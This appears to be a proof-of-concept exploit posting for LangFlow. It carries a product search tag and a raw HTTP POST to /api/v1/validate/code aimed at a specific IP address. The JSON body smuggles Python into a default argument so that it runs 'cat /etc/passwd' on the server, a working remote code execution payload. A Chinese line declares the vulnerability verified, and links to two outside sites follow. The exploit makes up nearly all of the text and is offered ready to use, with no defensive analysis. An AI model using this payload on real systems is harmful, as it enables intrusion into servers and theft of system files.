product=“LOGSPACE-LangFlow”

POST /api/v1/validate/code HTTP/1.1
Host: 185.207.0.104
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 150

{
  "code":
  "def exploit(cmd=exec('raise Exception(__import__(\"subprocess\").check_output(\"cat /etc/passwd\",shell=True))')):\n\n pass"
}

漏洞验证完成；
想看其他内容访问https://www.wlaqsys.com与https://pc.fenchuan8.com/#/index?forum=106431